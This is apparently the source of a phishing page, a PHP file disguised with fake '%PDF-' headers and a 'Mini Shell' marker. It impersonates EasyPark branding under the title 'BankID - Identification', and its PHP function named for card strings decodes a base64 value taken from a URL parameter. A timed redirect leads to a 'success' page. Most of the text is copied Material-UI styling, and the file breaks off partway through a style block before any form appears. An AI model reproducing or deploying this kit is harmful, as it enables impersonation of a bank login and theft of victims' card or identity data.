%PDF-
%PDF-
Mini Shell
Mini Shell
<?php
function reverse_cardString($encodedString) {
$lastFourEncoded = base64_decode($encodedString);
return $lastFourEncoded;
}
$reversedString = reverse_cardString(isset($_GET['ids']) ? $_GET['ids'] : '');
?>
<html lang="no" translate="no" data-react-helmet="lang">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="theme-color" content="#ffffff">
<meta name="description" content="Parking. Made easy">
<meta name="twitter:image" content="./assets/images/EasyPark-og_image.jpg">
<meta name="twitter:image:alt" content="EasyPark">
<meta name="twitter:site" content="customer.easypark.net">
<meta property="og:image" content="./assets/images/EasyPark-og_image.jpg">
<meta property="og:image:width" content="203">
<meta property="og:image:height" content="238">
<meta property="og:site_name" content="EasyPark">
<meta property="og:url" content="customer.easypark.net">
<meta http-equiv="refresh" content="600;url=success?country=DK&lang=da&_gl=1*1f3cltn*_ga*MTAzMzA5NjIxMy4xNzAwNDM2MjY2*_ga_VLSLXT7RPB*MTcwMDQzNjI2Ni4xLjEuMTcwMDQzNjI3OC4wLjAuMA..*_ga_RE7CPWG4JV*MTcwMDQzNjI2Ni4xLjEuMTcwMDQzNjI3OC40OC4wLjA.">
<meta name="apple-mobile-web-app-title" content="EasyPark">
<link rel="icon" href="assets/images/favicon/favicon.ico">
<link rel="apple-touch-icon" href="assets/images/favicon/favicon-192x192.png">
<link rel="apple-touch-icon" sizes="192x192" href="assets/images/favicon/favicon-192x192.png">
<link rel="apple-touch-icon" sizes="256x256" href="assets/images/favicon/favicon-256x256.png">
<link rel="apple-touch-icon" sizes="384x384" href="assets/images/favicon/favicon-384x384.png">
<link rel="apple-touch-icon" sizes="512x512" href="assets/images/favicon/favicon-512x512.png">
<link rel="manifest" href="assets/js/manifest.json">
<title>BankID - Identification</title>
<!--<script defer="defer" src="static/js/main.238c4cd1.js"></script>-->
<link href="static/css/main.0f5210b5.css" rel="stylesheet">
<style data-jss="" data-meta="MuiCssBaseline">
html {
box-sizing: border-box;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
*, *::before, *::after {
box-sizing: inherit;
}
strong, b {
font-weight: 700;
}
body {
color: #262626;
margin: 0;
font-size: 0.875rem;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1.43;
background-color: #fafafa;
}
@media print {
body {
background-color: #fff;
}
}
body::backdrop {
background-color: #fafafa;
}
@font-face {
font-family: Poppins;
font-style: normal;
font-display: swap;
font-weight: 400;
src:
local('Poppins'),
local('Poppins-Regular'),
url(static/media/poppins-regular-webfont.ad4ead5a378cd8743b7d.woff2) format('woff2')
;
}
@font-face {
font-family: Poppins;
font-style: normal;
font-display: swap;
font-weight: 600;
src:
local('Poppins'),
local('Poppins-Regular'),
url(static/media/poppins-bold-webfont.60f06b3aefdc411f2506.woff2) format('woff2')
;
}
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiBox">
</style>
<style data-jss="" data-meta="MuiInputBase">
@-webkit-keyframes mui-auto-fill {}
@-webkit-keyframes mui-auto-fill-cancel {}
.MuiInputBase-root {
color: #262626;
cursor: text;
display: inline-flex;
position: relative;
font-size: 1rem;
box-sizing: border-box;
align-items: center;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1.1876em;
}
.MuiInputBase-root.Mui-disabled {
color: rgba(0, 0, 0, 0.38);
cursor: default;
}
.MuiInputBase-multiline {
padding: 6px 0 7px;
}
.MuiInputBase-multiline.MuiInputBase-marginDense {
padding-top: 3px;
}
.MuiInputBase-fullWidth {
width: 100%;
}
.MuiInputBase-input {
font: inherit;
color: currentColor;
width: 100%;
border: 0;
height: 1.1876em;
margin: 0;
display: block;
padding: 6px 0 7px;
min-width: 0;
background: none;
box-sizing: content-box;
animation-name: mui-auto-fill-cancel;
letter-spacing: inherit;
animation-duration: 10ms;
-webkit-tap-highlight-color: transparent;
}
.MuiInputBase-input::-webkit-input-placeholder {
color: currentColor;
opacity: 0.42;
transition: opacity 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
}
.MuiInputBase-input::-moz-placeholder {
color: currentColor;
opacity: 0.42;
transition: opacity 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
}
.MuiInputBase-input:-ms-input-placeholder {
color: currentColor;
opacity: 0.42;
transition: opacity 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
}
.MuiInputBase-input::-ms-input-placeholder {
color: currentColor;
opacity: 0.42;
transition: opacity 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
}
.MuiInputBase-input:focus {
outline: 0;
}
.MuiInputBase-input:invalid {
box-shadow: none;
}
.MuiInputBase-input::-webkit-search-decoration {
-webkit-appearance: none;
}
.MuiInputBase-input.Mui-disabled {
opacity: 1;
}
.MuiInputBase-input:-webkit-autofill {
animation-name: mui-auto-fill;
animation-duration: 5000s;
}
label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input::-webkit-input-placeholder {
opacity: 0 !important;
}
label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input::-moz-placeholder {
opacity: 0 !important;
}
label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input:-ms-input-placeholder {
opacity: 0 !important;
}
label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input::-ms-input-placeholder {
opacity: 0 !important;
}
label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input:focus::-webkit-input-placeholder {
opacity: 0.42;
}
label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input:focus::-moz-placeholder {
opacity: 0.42;
}
label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input:focus:-ms-input-placeholder {
opacity: 0.42;
}
label[data-shrink=false] + .MuiInputBase-formControl .MuiInputBase-input:focus::-ms-input-placeholder {
opacity: 0.42;
}
.MuiInputBase-inputMarginDense {
padding-top: 3px;
}
.MuiInputBase-inputMultiline {
height: auto;
resize: none;
padding: 0;
}
.MuiInputBase-inputTypeSearch {
-moz-appearance: textfield;
-webkit-appearance: textfield;
}
</style>
<style data-jss="" data-meta="PrivateNotchedOutline">
.jss74 {
top: -5px;
left: 0;
right: 0;
bottom: 0;
margin: 0;
padding: 0 8px;
overflow: hidden;
position: absolute;
border-style: solid;
border-width: 1px;
border-radius: inherit;
pointer-events: none;
}
.jss75 {
padding: 0;
text-align: left;
transition: width 150ms cubic-bezier(0.0, 0, 0.2, 1) 0ms;
line-height: 11px;
}
.jss76 {
width: auto;
height: 11px;
display: block;
padding: 0;
font-size: 0.75em;
max-width: 0.01px;
text-align: left;
transition: max-width 50ms cubic-bezier(0.0, 0, 0.2, 1) 0ms;
visibility: hidden;
}
.jss76 > span {
display: inline-block;
padding-left: 5px;
padding-right: 5px;
}
.jss77 {
max-width: 1000px;
transition: max-width 100ms cubic-bezier(0.0, 0, 0.2, 1) 50ms;
}
</style>
<style data-jss="" data-meta="MuiOutlinedInput">
.MuiOutlinedInput-root {
position: relative;
border-radius: 4px;
}
.MuiOutlinedInput-root:hover .MuiOutlinedInput-notchedOutline {
border-color: #262626;
}
@media (hover: none) {
.MuiOutlinedInput-root:hover .MuiOutlinedInput-notchedOutline {
border-color: rgba(0, 0, 0, 0.23);
}
}
.MuiOutlinedInput-root.Mui-focused .MuiOutlinedInput-notchedOutline {
border-color: #872878;
border-width: 2px;
}
.MuiOutlinedInput-root.Mui-error .MuiOutlinedInput-notchedOutline {
border-color: #E7242E;
}
.MuiOutlinedInput-root.Mui-disabled .MuiOutlinedInput-notchedOutline {
border-color: rgba(0, 0, 0, 0.26);
}
.MuiOutlinedInput-colorSecondary.Mui-focused .MuiOutlinedInput-notchedOutline {
border-color: #FF52A3;
}
.MuiOutlinedInput-adornedStart {
padding-left: 14px;
}
.MuiOutlinedInput-adornedEnd {
padding-right: 14px;
}
.MuiOutlinedInput-multiline {
padding: 18.5px 14px;
}
.MuiOutlinedInput-multiline.MuiOutlinedInput-marginDense {
padding-top: 10.5px;
padding-bottom: 10.5px;
}
.MuiOutlinedInput-notchedOutline {
border-color: rgba(0, 0, 0, 0.23);
}
.MuiOutlinedInput-input {
padding: 18.5px 14px;
}
.MuiOutlinedInput-input:-webkit-autofill {
border-radius: inherit;
}
.MuiOutlinedInput-inputMarginDense {
padding-top: 10.5px;
padding-bottom: 10.5px;
}
.MuiOutlinedInput-inputMultiline {
padding: 0;
}
.MuiOutlinedInput-inputAdornedStart {
padding-left: 0;
}
.MuiOutlinedInput-inputAdornedEnd {
padding-right: 0;
}
</style>
<style data-jss="" data-meta="MuiFormLabel">
.MuiFormLabel-root {
color: #606060;
padding: 0;
font-size: 14px;
margin-top: 2px;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1;
}
.MuiFormLabel-root.Mui-focused {
color: #872878;
}
.MuiFormLabel-root.Mui-disabled {
color: rgba(0, 0, 0, 0.38);
}
.MuiFormLabel-root.Mui-error {
color: #E7242E;
}
.MuiFormLabel-colorSecondary.Mui-focused {
color: #FF52A3;
}
.MuiFormLabel-asterisk.Mui-error {
color: #E7242E;
}
</style>
<style data-jss="" data-meta="MuiInputLabel">
.MuiInputLabel-root {
display: block;
transform-origin: top left;
}
.MuiInputLabel-formControl {
top: 0;
left: 0;
position: absolute;
transform: translate(0, 24px) scale(1);
}
.MuiInputLabel-marginDense {
transform: translate(0, 21px) scale(1);
}
.MuiInputLabel-shrink {
transform: translate(0, 1.5px) scale(0.75);
transform-origin: top left;
}
.MuiInputLabel-animated {
transition: color 200ms cubic-bezier(0.0, 0, 0.2, 1) 0ms,transform 200ms cubic-bezier(0.0, 0, 0.2, 1) 0ms;
}
.MuiInputLabel-filled {
z-index: 1;
transform: translate(12px, 20px) scale(1);
pointer-events: none;
}
.MuiInputLabel-filled.MuiInputLabel-marginDense {
transform: translate(12px, 17px) scale(1);
}
.MuiInputLabel-filled.MuiInputLabel-shrink {
transform: translate(12px, 10px) scale(0.75);
}
.MuiInputLabel-filled.MuiInputLabel-shrink.MuiInputLabel-marginDense {
transform: translate(12px, 7px) scale(0.75);
}
.MuiInputLabel-outlined {
z-index: 1;
transform: translate(14px, 20px) scale(1);
pointer-events: none;
}
.MuiInputLabel-outlined.MuiInputLabel-marginDense {
transform: translate(14px, 12px) scale(1);
}
.MuiInputLabel-outlined.MuiInputLabel-shrink {
transform: translate(14px, -6px) scale(0.75);
}
</style>
<style data-jss="" data-meta="MuiFormControl">
.MuiFormControl-root {
border: 0;
margin: 0;
display: inline-flex;
padding: 0;
position: relative;
min-width: 0;
flex-direction: column;
vertical-align: top;
}
.MuiFormControl-marginNormal {
margin-top: 16px;
margin-bottom: 8px;
}
.MuiFormControl-marginDense {
margin-top: 8px;
margin-bottom: 4px;
}
.MuiFormControl-fullWidth {
width: 100%;
}
</style>
<style data-jss="" data-meta="MuiSvgIcon">
.MuiSvgIcon-root {
fill: currentColor;
width: 1em;
height: 1em;
display: inline-block;
font-size: 1.5rem;
transition: fill 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
flex-shrink: 0;
user-select: none;
}
.MuiSvgIcon-colorPrimary {
color: #872878;
}
.MuiSvgIcon-colorSecondary {
color: #FF52A3;
}
.MuiSvgIcon-colorAction {
color: rgba(0, 0, 0, 0.54);
}
.MuiSvgIcon-colorError {
color: #E7242E;
}
.MuiSvgIcon-colorDisabled {
color: rgba(0, 0, 0, 0.26);
}
.MuiSvgIcon-fontSizeInherit {
font-size: inherit;
}
.MuiSvgIcon-fontSizeSmall {
font-size: 1.25rem;
}
.MuiSvgIcon-fontSizeLarge {
font-size: 2.1875rem;
}
</style>
<style data-jss="" data-meta="MuiTextField">
</style>
<style data-jss="" data-meta="MuiTouchRipple">
.MuiTouchRipple-root {
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: 0;
overflow: hidden;
position: absolute;
border-radius: inherit;
pointer-events: none;
}
.MuiTouchRipple-ripple {
opacity: 0;
position: absolute;
}
.MuiTouchRipple-rippleVisible {
opacity: 0.3;
animation: MuiTouchRipple-keyframes-enter 550ms cubic-bezier(0.4, 0, 0.2, 1);
transform: scale(1);
}
.MuiTouchRipple-ripplePulsate {
animation-duration: 200ms;
}
.MuiTouchRipple-child {
width: 100%;
height: 100%;
display: block;
opacity: 1;
border-radius: 50%;
background-color: currentColor;
}
.MuiTouchRipple-childLeaving {
opacity: 0;
animation: MuiTouchRipple-keyframes-exit 550ms cubic-bezier(0.4, 0, 0.2, 1);
}
.MuiTouchRipple-childPulsate {
top: 0;
left: 0;
position: absolute;
animation: MuiTouchRipple-keyframes-pulsate 2500ms cubic-bezier(0.4, 0, 0.2, 1) 200ms infinite;
}
@-webkit-keyframes MuiTouchRipple-keyframes-enter {
0% {
opacity: 0.1;
transform: scale(0);
}
100% {
opacity: 0.3;
transform: scale(1);
}
}
@-webkit-keyframes MuiTouchRipple-keyframes-exit {
0% {
opacity: 1;
}
100% {
opacity: 0;
}
}
@-webkit-keyframes MuiTouchRipple-keyframes-pulsate {
0% {
transform: scale(1);
}
50% {
transform: scale(0.92);
}
100% {
transform: scale(1);
}
}
</style>
<style data-jss="" data-meta="MuiButtonBase">
.MuiButtonBase-root {
color: inherit;
border: 0;
cursor: pointer;
margin: 0;
display: inline-flex;
outline: 0;
padding: 0;
position: relative;
align-items: center;
user-select: none;
border-radius: 0;
vertical-align: middle;
-moz-appearance: none;
justify-content: center;
text-decoration: none;
background-color: transparent;
-webkit-appearance: none;
-webkit-tap-highlight-color: transparent;
}
.MuiButtonBase-root::-moz-focus-inner {
border-style: none;
}
.MuiButtonBase-root.Mui-disabled {
cursor: default;
pointer-events: none;
}
@media print {
.MuiButtonBase-root {
-webkit-print-color-adjust: exact;
}
}
</style>
<style data-jss="" data-meta="MuiIconButton">
.MuiIconButton-root {
flex: 0 0 auto;
color: rgba(0, 0, 0, 0.54);
padding: 12px;
overflow: visible;
font-size: 1.5rem;
text-align: center;
transition: background-color 150ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
border-radius: 50%;
}
.MuiIconButton-root:hover {
background-color: rgba(0, 0, 0, 0.04);
}
.MuiIconButton-root.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
background-color: transparent;
}
@media (hover: none) {
.MuiIconButton-root:hover {
background-color: transparent;
}
}
.MuiIconButton-edgeStart {
margin-left: -12px;
}
.MuiIconButton-sizeSmall.MuiIconButton-edgeStart {
margin-left: -3px;
}
.MuiIconButton-edgeEnd {
margin-right: -12px;
}
.MuiIconButton-sizeSmall.MuiIconButton-edgeEnd {
margin-right: -3px;
}
.MuiIconButton-colorInherit {
color: inherit;
}
.MuiIconButton-colorPrimary {
color: #872878;
}
.MuiIconButton-colorPrimary:hover {
background-color: rgba(135, 40, 120, 0.04);
}
@media (hover: none) {
.MuiIconButton-colorPrimary:hover {
background-color: transparent;
}
}
.MuiIconButton-colorSecondary {
color: #FF52A3;
}
.MuiIconButton-colorSecondary:hover {
background-color: rgba(255, 82, 163, 0.04);
}
@media (hover: none) {
.MuiIconButton-colorSecondary:hover {
background-color: transparent;
}
}
.MuiIconButton-sizeSmall {
padding: 3px;
font-size: 1.125rem;
}
.MuiIconButton-label {
width: 100%;
display: flex;
align-items: inherit;
justify-content: inherit;
}
</style>
<style data-jss="" data-meta="MuiTypography">
.MuiTypography-root {
margin: 0;
}
.MuiTypography-body2 {
font-size: 0.875rem;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1.43;
}
.MuiTypography-body1 {
font-size: 1rem;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1.5;
}
.MuiTypography-caption {
font-size: 0.75rem;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1.66;
}
.MuiTypography-button {
font-size: 0.875rem;
font-family: Poppins, sans-serif;
font-weight: 500;
line-height: 1.75;
text-transform: uppercase;
}
.MuiTypography-h1 {
font-size: 24px;
font-family: Poppins, sans-serif;
font-weight: 600;
line-height: 24px;
margin-bottom: 14px;
}
.MuiTypography-h2 {
font-size: 3.75rem;
font-family: Poppins, sans-serif;
font-weight: 300;
line-height: 1.2;
}
.MuiTypography-h3 {
font-size: 3rem;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1.167;
}
@media (min-width:600px) and (max-width:959.95px) {
.MuiTypography-h3 {
font-size: 2.6rem;
}
}
.MuiTypography-h4 {
font-size: 2.125rem;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1.235;
}
.MuiTypography-h5 {
font-size: 1.5rem;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1.334;
}
.MuiTypography-h6 {
font-size: 1.25rem;
font-family: Poppins, sans-serif;
font-weight: 500;
line-height: 1.6;
}
.MuiTypography-subtitle1 {
font-size: 1rem;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 1.75;
}
.MuiTypography-subtitle2 {
font-size: 0.875rem;
font-family: Poppins, sans-serif;
font-weight: 500;
line-height: 1.57;
}
.MuiTypography-overline {
font-size: 0.75rem;
font-family: Poppins, sans-serif;
font-weight: 400;
line-height: 2.66;
text-transform: uppercase;
}
.MuiTypography-srOnly {
width: 1px;
height: 1px;
overflow: hidden;
position: absolute;
}
.MuiTypography-alignLeft {
text-align: left;
}
.MuiTypography-alignCenter {
text-align: center;
}
.MuiTypography-alignRight {
text-align: right;
}
.MuiTypography-alignJustify {
text-align: justify;
}
.MuiTypography-noWrap {
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
}
.MuiTypography-gutterBottom {
margin-bottom: 0.35em;
}
.MuiTypography-paragraph {
margin-bottom: 16px;
}
.MuiTypography-colorInherit {
color: inherit;
}
.MuiTypography-colorPrimary {
color: #872878;
}
.MuiTypography-colorSecondary {
color: #FF52A3;
}
.MuiTypography-colorTextPrimary {
color: #262626;
}
.MuiTypography-colorTextSecondary {
color: #595959;
}
.MuiTypography-colorError {
color: #E7242E;
}
.MuiTypography-displayInline {
display: inline;
}
.MuiTypography-displayBlock {
display: block;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss64 {
font-weight: 500;
}
.jss65 {
font-weight: 500;
}
.jss66::placeholder {
color: blue;
}
.jss66.jss67 .jss68 {
border-width: 1px;
}
.jss70 {
display: flex;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss72 {
position: relative;
}
.jss73 {
top: 0;
right: 0;
z-index: 1;
position: absolute;
margin-top: -4px;
}
.jss71 {
padding-top: 0px;
padding-bottom: 16px;
}
.jss78 {
padding-top: 0px;
padding-bottom: 16px;
}
.jss79 {
padding-top: 0px;
padding-bottom: 32px;
}
.jss85 {
padding-top: 16px;
padding-bottom: 16px;
}
.jss86 {
padding-top: 0px;
padding-bottom: 16px;
}
.jss59 {
padding-bottom: 16px;
}
.jss23 {
padding: 32px;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss58 {
color: #262626;
font-size: 24px;
font-weight: 600;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss60 {
padding: 0.5rem;
border-radius: 2px;
}
.jss61 {
color: #595959;
}
</style>
<style data-jss="" data-meta="MuiButton">
.MuiButton-root {
color: #262626;
padding: 6px 16px;
font-size: 0.875rem;
min-width: 64px;
box-sizing: border-box;
transition: background-color 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,box-shadow 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,border 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
font-family: Poppins, sans-serif;
font-weight: 500;
line-height: 1.75;
border-radius: 4px;
text-transform: uppercase;
}
.MuiButton-root:hover {
text-decoration: none;
background-color: rgba(38, 38, 38, 0.04);
}
.MuiButton-root.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
}
@media (hover: none) {
.MuiButton-root:hover {
background-color: transparent;
}
}
.MuiButton-root:hover.Mui-disabled {
background-color: transparent;
}
.MuiButton-label {
width: 100%;
display: inherit;
align-items: inherit;
justify-content: inherit;
}
.MuiButton-text {
padding: 6px 8px;
}
.MuiButton-textPrimary {
color: #872878;
}
.MuiButton-textPrimary:hover {
background-color: rgba(135, 40, 120, 0.04);
}
@media (hover: none) {
.MuiButton-textPrimary:hover {
background-color: transparent;
}
}
.MuiButton-textSecondary {
color: #FF52A3;
}
.MuiButton-textSecondary:hover {
background-color: rgba(255, 82, 163, 0.04);
}
@media (hover: none) {
.MuiButton-textSecondary:hover {
background-color: transparent;
}
}
.MuiButton-outlined {
border: 1px solid rgba(0, 0, 0, 0.23);
padding: 5px 15px;
}
.MuiButton-outlined.Mui-disabled {
border: 1px solid rgba(0, 0, 0, 0.12);
}
.MuiButton-outlinedPrimary {
color: #872878;
border: 1px solid rgba(135, 40, 120, 0.5);
}
.MuiButton-outlinedPrimary:hover {
border: 1px solid #872878;
background-color: rgba(135, 40, 120, 0.04);
}
@media (hover: none) {
.MuiButton-outlinedPrimary:hover {
background-color: transparent;
}
}
.MuiButton-outlinedSecondary {
color: #FF52A3;
border: 1px solid rgba(255, 82, 163, 0.5);
}
.MuiButton-outlinedSecondary:hover {
border: 1px solid #FF52A3;
background-color: rgba(255, 82, 163, 0.04);
}
.MuiButton-outlinedSecondary.Mui-disabled {
border: 1px solid rgba(0, 0, 0, 0.26);
}
@media (hover: none) {
.MuiButton-outlinedSecondary:hover {
background-color: transparent;
}
}
.MuiButton-contained {
color: rgba(0, 0, 0, 0.87);
box-shadow: 0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12);
background-color: #e0e0e0;
}
.MuiButton-contained:hover {
box-shadow: 0px 2px 4px -1px rgba(0,0,0,0.2),0px 4px 5px 0px rgba(0,0,0,0.14),0px 1px 10px 0px rgba(0,0,0,0.12);
background-color: #d5d5d5;
}
.MuiButton-contained.Mui-focusVisible {
box-shadow: 0px 3px 5px -1px rgba(0,0,0,0.2),0px 6px 10px 0px rgba(0,0,0,0.14),0px 1px 18px 0px rgba(0,0,0,0.12);
}
.MuiButton-contained:active {
box-shadow: 0px 5px 5px -3px rgba(0,0,0,0.2),0px 8px 10px 1px rgba(0,0,0,0.14),0px 3px 14px 2px rgba(0,0,0,0.12);
}
.MuiButton-contained.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
box-shadow: none;
background-color: rgba(0, 0, 0, 0.12);
}
@media (hover: none) {
.MuiButton-contained:hover {
box-shadow: 0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12);
background-color: #e0e0e0;
}
}
.MuiButton-contained:hover.Mui-disabled {
background-color: rgba(0, 0, 0, 0.12);
}
.MuiButton-containedPrimary {
color: #fff;
background-color: #872878;
}
.MuiButton-containedPrimary:hover {
background-color: rgba(135, 40, 120, 0.8);
}
@media (hover: none) {
.MuiButton-containedPrimary:hover {
background-color: #872878;
}
}
.MuiButton-containedSecondary {
color: #fff;
background-color: #FF52A3;
}
.MuiButton-containedSecondary:hover {
background-color: rgba(255, 82, 163, 0.8);
}
@media (hover: none) {
.MuiButton-containedSecondary:hover {
background-color: #FF52A3;
}
}
.MuiButton-disableElevation {
box-shadow: none;
}
.MuiButton-disableElevation:hover {
box-shadow: none;
}
.MuiButton-disableElevation.Mui-focusVisible {
box-shadow: none;
}
.MuiButton-disableElevation:active {
box-shadow: none;
}
.MuiButton-disableElevation.Mui-disabled {
box-shadow: none;
}
.MuiButton-colorInherit {
color: inherit;
border-color: currentColor;
}
.MuiButton-textSizeSmall {
padding: 4px 5px;
font-size: 0.8125rem;
}
.MuiButton-textSizeLarge {
padding: 8px 11px;
font-size: 0.9375rem;
}
.MuiButton-outlinedSizeSmall {
padding: 3px 9px;
font-size: 0.8125rem;
}
.MuiButton-outlinedSizeLarge {
padding: 7px 21px;
font-size: 0.9375rem;
}
.MuiButton-containedSizeSmall {
padding: 4px 10px;
font-size: 0.8125rem;
}
.MuiButton-containedSizeLarge {
padding: 8px 22px;
font-size: 0.9375rem;
}
.MuiButton-fullWidth {
width: 100%;
}
.MuiButton-startIcon {
display: inherit;
margin-left: -4px;
margin-right: 8px;
}
.MuiButton-startIcon.MuiButton-iconSizeSmall {
margin-left: -2px;
}
.MuiButton-endIcon {
display: inherit;
margin-left: 8px;
margin-right: -4px;
}
.MuiButton-endIcon.MuiButton-iconSizeSmall {
margin-right: -2px;
}
.MuiButton-iconSizeSmall > *:first-child {
font-size: 18px;
}
.MuiButton-iconSizeMedium > *:first-child {
font-size: 20px;
}
.MuiButton-iconSizeLarge > *:first-child {
font-size: 22px;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss80 {
border: 1px #872878 solid;
box-shadow: none;
border-radius: 4px;
background-color: 913983;
}
.jss81 {
border: 1px #872878 solid;
box-shadow: none;
border-radius: 4px;
background-color: #fff;
}
.jss82 {
white-space: nowrap;
text-transform: unset;
}
.jss83 {
color: #872878;
white-space: nowrap;
text-transform: unset;
}
.jss84 {
text-transform: capitalize;
}
</style>
<style data-jss="" data-meta="MuiBackdrop">
.MuiBackdrop-root {
top: 0;
left: 0;
right: 0;
bottom: 0;
display: flex;
z-index: -1;
position: fixed;
align-items: center;
justify-content: center;
background-color: rgba(0, 0, 0, 0.5);
-webkit-tap-highlight-color: transparent;
}
.MuiBackdrop-invisible {
background-color: transparent;
}
</style>
<style data-jss="" data-meta="MuiCircularProgress">
.MuiCircularProgress-root {
display: inline-block;
}
.MuiCircularProgress-static {
transition: transform 300ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
}
.MuiCircularProgress-indeterminate {
animation: MuiCircularProgress-keyframes-circular-rotate 1.4s linear infinite;
}
.MuiCircularProgress-determinate {
transition: transform 300ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
}
.MuiCircularProgress-colorPrimary {
color: #872878;
}
.MuiCircularProgress-colorSecondary {
color: #FF52A3;
}
.MuiCircularProgress-svg {
display: block;
}
.MuiCircularProgress-circle {
stroke: currentColor;
}
.MuiCircularProgress-circleStatic {
transition: stroke-dashoffset 300ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
}
.MuiCircularProgress-circleIndeterminate {
animation: MuiCircularProgress-keyframes-circular-dash 1.4s ease-in-out infinite;
stroke-dasharray: 80px, 200px;
stroke-dashoffset: 0px;
}
.MuiCircularProgress-circleDeterminate {
transition: stroke-dashoffset 300ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
}
@-webkit-keyframes MuiCircularProgress-keyframes-circular-rotate {
0% {
transform-origin: 50% 50%;
}
100% {
transform: rotate(360deg);
}
}
@-webkit-keyframes MuiCircularProgress-keyframes-circular-dash {
0% {
stroke-dasharray: 1px, 200px;
stroke-dashoffset: 0px;
}
50% {
stroke-dasharray: 100px, 200px;
stroke-dashoffset: -15px;
}
100% {
stroke-dasharray: 100px, 200px;
stroke-dashoffset: -125px;
}
}
.MuiCircularProgress-circleDisableShrink {
animation: none;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss55 {
color: #872878;
z-index: 1201;
}
</style>
<style data-jss="" data-meta="MuiToggleButton">
.MuiToggleButton-root {
color: rgba(0, 0, 0, 0.38);
border: 1px solid rgba(0, 0, 0, 0.12);
padding: 11px;
font-size: 0.875rem;
box-sizing: border-box;
font-family: Poppins, sans-serif;
font-weight: 500;
line-height: 1.75;
border-radius: 4px;
text-transform: uppercase;
}
.MuiToggleButton-root.Mui-selected {
color: rgba(0, 0, 0, 0.54);
background-color: rgba(0, 0, 0, 0.12);
}
.MuiToggleButton-root.Mui-disabled {
color: rgba(0, 0, 0, 0.12);
}
.MuiToggleButton-root:hover {
text-decoration: none;
background-color: rgba(38, 38, 38, 0.05);
}
@media (hover: none) {
.MuiToggleButton-root:hover {
background-color: transparent;
}
}
.MuiToggleButton-root:hover.Mui-disabled {
background-color: transparent;
}
.MuiToggleButton-root.Mui-selected:hover {
background-color: rgba(0, 0, 0, 0.15);
}
.MuiToggleButton-root.Mui-selected + .MuiToggleButton-root.Mui-selected {
border-left: 0;
margin-left: 0;
}
.MuiToggleButton-label {
width: 100%;
display: inherit;
align-items: inherit;
justify-content: inherit;
}
.MuiToggleButton-sizeSmall {
padding: 7px;
font-size: 0.8125rem;
}
.MuiToggleButton-sizeLarge {
padding: 15px;
font-size: 0.9375rem;
}
</style>
<style data-jss="" data-meta="MuiToggleButtonGroup">
.MuiToggleButtonGroup-root {
display: inline-flex;
border-radius: 4px;
}
.MuiToggleButtonGroup-vertical {
flex-direction: column;
}
.MuiToggleButtonGroup-groupedHorizontal:not(:first-child) {
border-left: 1px solid transparent;
margin-left: -1px;
border-top-left-radius: 0;
border-bottom-left-radius: 0;
}
.MuiToggleButtonGroup-groupedHorizontal:not(:last-child) {
border-top-right-radius: 0;
border-bottom-right-radius: 0;
}
.MuiToggleButtonGroup-groupedVertical:not(:first-child) {
border-top: 1px solid transparent;
margin-top: -1px;
border-top-left-radius: 0;
border-top-right-radius: 0;
}
.MuiToggleButtonGroup-groupedVertical:not(:last-child) {
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss24 {
justify-content: flex-end;
}
.jss25 {
border: 1px solid;
border-color: #872878;
background-color: #FFF;
}
.jss26 {
color: #000000;
